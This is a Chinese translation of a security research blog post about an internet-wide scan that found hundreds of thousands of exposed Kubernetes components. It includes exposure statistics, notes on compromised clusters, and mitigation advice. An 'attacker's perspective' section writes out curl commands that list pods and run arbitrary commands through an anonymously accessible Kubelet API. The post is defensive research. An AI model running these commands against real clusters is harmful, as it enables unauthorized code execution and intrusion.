数千个不安全的 Kubernetes 集群暴露在互联网上

最近在研究确定互联网上暴露的 Kubernetes 集群的安全态势，在研究过程中发现了超过 500,000 个不安全的 Kubernetes 实例。

介绍

近些年，容器和微服务已成为应用程序开发趋势。管理此类基础设施是生产环境中的一项巨大挑战。Kubernetes（或 k8s）除了是一个描述“指挥官”的希腊词外，还是一个非常流行的容器编排平台。模块化设计使其具有出色的灵活性和可扩展性，几乎所有组件都可以单独调整以满足特定目标。然而，从安全角度来看，这种复杂性确实具有挑战性。

因此，RedHunt Labs 研究团队决定在互联网范围内进行研究，以探索和分析网络上不安全的 Kubernetes 集群。这篇博文描述了我们评估分散在互联网上的 Kubernetes 集群安全状况，详细介绍了我们的研究方法、发现和分析。

映射攻击面

工作架构

首先，让我们快速了解一下 Kubernetes 的工作架构。

Kubernetes 核心架构

Kubernetes集群由一组工作机器组成，称为运行容器化应用程序的节点。Pod是 Kubernetes 中的最小单元，承载一个或多个容器。控制平面/主节点管理集群中的工作节点和 Pod。

控制平面包括以下组件：

• Kube APIServer：Kubernetes 的前端，它从客户端接收 RESTful 请求并将请求转换为容器、Pod 或节点上的操作。

• etcd：一个键值数据库，用作所有集群数据的操作存储。

• Kube Scheduler：新创建的 pod 的观察者。

• Kube 控制器管理器：运行控制器。

每个节点上的一些组件维护正在运行的 pod 并为其提供运行时环境：

• Kubelet：确保容器正常运行。

• Kube Proxy：维护节点上的网络规则。

• 容器运行时：运行在容器上的软件（例如 Docker）。

默认端口

Kubernetes 集群通常会监听一系列定义明确且独特的端口。以下是 Kubernetes 中使用的默认端口的概述，从安全角度来看这些可能会带来风险：

此外，我们发现以下端口也很重要：

我们的方法论

最初的想法是涵盖 Kubernetes 实例的基本组件。然而，在我们的研究过程中，攻击面逐渐扩大。我们还在 Go 中创建了一个名为 KubeStalk 的扫描器，在考虑速度和准确性以覆盖整个 IPv4 空间的同时尊重我们的排除列表。我们选择尽可能保持扫描过程的非侵入性，这样就不会因为我们的研究而中断整个集群服务。

下面的流程图描述了该工具的架构概览：

上述描述了扫描过程架构概览的流程图，扫描时间线跨越 59 小时，分布在互联网上的许多节点上。

我们的发现

我们将我们的发现分为两个主要部分。第一部分涵盖了 Kubernetes 的核心组件，第二部分涵盖了上面讨论的其他攻击面。

核心组件

在将近 3 天的时间跨度内，我们的扫描器发现了574,913 个错误配置的面向互联网的 Kubernetes 核心组件。其中，338,320 个是 Kube APIServer，232,103 个是 Kubelet API。etcd 对剩余的 4,490 个实例做出了贡献。

从地理上看，暴露最多的是美国，其次是德国、比利时、爱尔兰和新加坡。仅美国就占总风险的近 57%。

云提供商：

我们注意到大约 61% 的曝光托管在公共云中，其中谷歌云平台 (GCP) 的曝光次数最多，其次是亚马逊网络服务 (AWS)、腾讯云、微软 Azure 和 DigitalOcean Cloud。

受影响最大的版本——v1.21 和 v1.22

在分析结果时，我们发现 v1.21 和 v1.22 版本是不安全的 Kubernetes 集群中最常见的版本，占了一半以上的部署。这也说明 60% 的 Kubernetes 集群已经超过一年没有更新了。v1.21 于 2021 年 4 月发布，而 v1.22 于 2021 年 8 月发布。在撰写本文时，当前最新版本为 v1.25，占现有集群的比例不到 1%，总共只有 1,211 个实例。

通过进一步分析和统计，我们将来自官方 CVE 提要的 CVE 映射到公开集群上的版本。统计数据揭示了这样一个事实，即仍未进行适当的修补，并且大量部署仍面临大量已知漏洞的风险。这一观察结果也凸显了一个事实，即减少攻击面还有很长的路要走。

额外的攻击面——Kubernetes 管理组件

暴露了与 Kubernetes 相关的内容

除了常规的默认组件外，我们还发现开发人员使用其他软件来管理他们的 Kubernetes 基础设施，如果配置错误，这也会带来重大的安全风险。以下部分重点介绍我们在研究过程中发现的那些有风险的软件组件。下面的信息图描述了整体风险。

cAdvisor

cAdvisor是一种容器度量引擎，可为开发人员提供其资源使用情况和容器性能的概览。该软件公开了一个用于查看资源指标的 Web UI。它包括系统进程、CPU、内存、网络和文件系统使用统计信息。

我们发现总共暴露了23,101 个未经身份验证的 cAdvisor 仪表板。

Kubernetes 操作视图

kube-ops-view是一个系统仪表板，它提供了多个已部署的 K8s 集群的概览。将鼠标悬停在 pod 上会提供有关它的其他信息，包括容器、部署区域等。

我们的工具 KubeStalk 发现了929 个暴露在互联网上的此类配置错误的门户实例。

Kubernetes 资源报告

kube-resource-report是另一个用于查看和下载集群和 pod 的资源请求与使用情况报告的仪表板。错误配置的门户提供了有关在该实例上运行的集群、节点、pod、应用程序、命名空间等的非常详细的信息。

在我们的扫描过程中，总共发现了 31 个此类仪表板实例。

Kubernetes 网络视图

kube-web-view是前端软件，旨在为开发人员提供 Kubernetes 实例（包括 CRD）的极其详细的概述。信息公开包括所有部署、作业、DaemonSet、pod、服务等的详细概述。考虑到通过仪表板公开的信息量，该软件的错误配置部署可能是灾难性的。

我们总共发现了11 个 IP，这些 IP 将未经身份验证的产品暴露在互联网上。

etcd查看器

etcd-viewer是一个允许用户导航和修改 etcd 分布式键值存储的门户界面。可公开访问的仪表板允许未经身份验证的用户直接查看和编辑etcd 存储数据库中的值。该软件的错误配置很容易导致整个集群的破坏。

我们的扫描仪发现了8 个 IP，暴露了该产品直接面向互联网，未经身份验证且任何人都可以公开访问。

发现受感染的集群

在验证结果的过程中，我们注意到有几个暴露的集群已经被攻破。

许多集群都在运行有意易受攻击的镜像，这些镜像被滥用于容器突破和访问主机。我们还发现了在受感染集群内部署恶意加密挖矿软件。许多受感染的实例在这些受感染的集群上都有已知的Hildegard 恶意软件的痕迹和 IoC 。

在受感染集群的一个实例上发现了以下归因于 TeamTNT（一个以前因 Kubernetes 妥协而闻名的臭名昭著的组织）的脚本。它在 VirusTotal 上的检测率为零。

该脚本最初使用 masscan 通过扫描开放端口来跨 IP 范围发现不安全的 Kubernetes 集群。然后它利用 zgrab 来探测为该路径提供服务的 HTTP 服务/v1.16/version。一旦发现不安全的集群，该脚本就会使用 Docker CLI 部署一个有意特权的容器。

Docker 容器通常在资源方面是有限的，但是--privilegedflag 赋予了容器所有的能力，解除了cgroups. 这基本上意味着容器具有宿主所具有的所有功能，并且可以访问普通容器不具有的所有系统资源。

执行链跟随下载其他组件、脚本和加密矿工，以充分利用系统资源。但是，我们无法估计受损实例的数量，因为这超出了本文研究的范围。

攻击者的视角

在本节中，我们将了解攻击者如何轻易地破坏不安全的 Kubernetes 集群。可以通过不安全的 API 服务器或 Kubelet 在正在运行的容器中获得代码执行 (RCE)。execAPI 和API都run允许在容器中运行任意命令。

一旦发现允许匿名访问其 API 的不安全集群，在被劫持的容器中启动恶意进程就更加隐蔽，因为它不需要拉取新镜像或运行新容器。

对于我们的案例，假设在端口 10250 上运行的 Kubelet 的 API 允许匿名访问。第一步是发现节点内运行的 pod。可以通过访问端点来检索容器内的 pod 列表/pods。

curl -sk 'https://<ip>:10250/pods' | jq -r '.items[] | "Pod: \(.metadata.name)\tNamespace: \(.metadata.namespace)\tContainer: \(.spec.containers[].name)"'

端点的输出为/pods我们提供了 pod 及其属性的列表，包括它们的命名空间和它们所属的容器。此信息足以通过 run 或 exec API 实现代码执行。

curl -sk -X POST 'https://<ip>:10250/run/<namespace>/<pod>/<container>' -d "cmd=id"

在我们的例子中，如果我们要在 Nginx 容器内的默认命名空间中定位 pod nginx-6c54bd5869-pfxmw，则此命令将采用以下形式：

curl -sk -X POST 'https://<ip>:10250/run/default/nginx-6c54bd5869-pfxmw/nginx' -d "cmd=id"

只用了两步就实现了代码执行。从这里开始，攻击者可以访问servicetoken获取运行时密钥，部署一个有意易受攻击的容器并通过突破它来提升特权，进一步在 pod 和容器之间横向移动并获得持久性。这篇博文https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1详细介绍了初始访问后更详细的攻击路径。Peirates等工具有助于在初始访问后通过集群进行后期开发和横向移动。

开源工具发布

我们坚信回馈安全社区。因此，我们发布了与这一波一起使用的工具的社区版本。该工具将主机列表作为输入并生成 CSV 格式的输出文件。您可以从我们的 GitHub ( https://github.com/redhuntlabs/kubestalk )获取该工具并阅读更多相关信息。下面添加了一个 GIF 来演示该工具的功能和工作方式。

预防和缓解

在记录如何在互联网上保护 Kubernetes 集群方面付出了巨大的努力。Kubernetes 文档非常清楚地提到了安全性需要考虑的问题。CISA 和 NSA 已经发布了一份可靠的强化指南。OWASP Cheatseries 项目也有Kubernetes 安全性的权威指南。

简而言之，以下是确保集群安全的方法：

• 授权审计：强制执行 RBAC 并定期审计云角色 (IAM)。

• 网络控制审计：审查网络策略和服务网格。启用 mTLS。

• 包含工作负载：利用 pod 安全策略和 OPA/Gatekeeper。

• 应用常规强化：遵循 CIS 基准。

• 集群升级：稳定版本发布后立即升级（注意 EOL）。

• 镜像安全：定期扫描镜像以查找已知漏洞。

kubescape、kube-bench 和 kube-hunter 等开源工具使审计 Kubernetes 实例的过程变得简单。

影响

拥有不安全的 Kubernetes 集群的影响可能是毁灭性的。生产环境如果受到损害，可能会导致巨大的业务中断，从而导致财务损失和客户不信任。

结论

该研究为互联网上不安全的 Kubernetes 集群的安全态势提供了大量线索。很明显，像 Kubernetes 这样的复杂系统的安全概念仍然是半透明的。APT 组织已经走在了前面，破坏了这些不安全的实例，并利用它们为自己谋取利益。在构建应用程序时，需要让开发人员了解安全第一的开发。作为安全研究人员，我们继续努力通过Project Resonance的研发计划提高组织对此类潜在威胁的认识。

推荐

A Big Picture of Kubernetes

Kubernetes入门培训（内含PPT）

---

随手关注或者”在看“，诚挚感谢！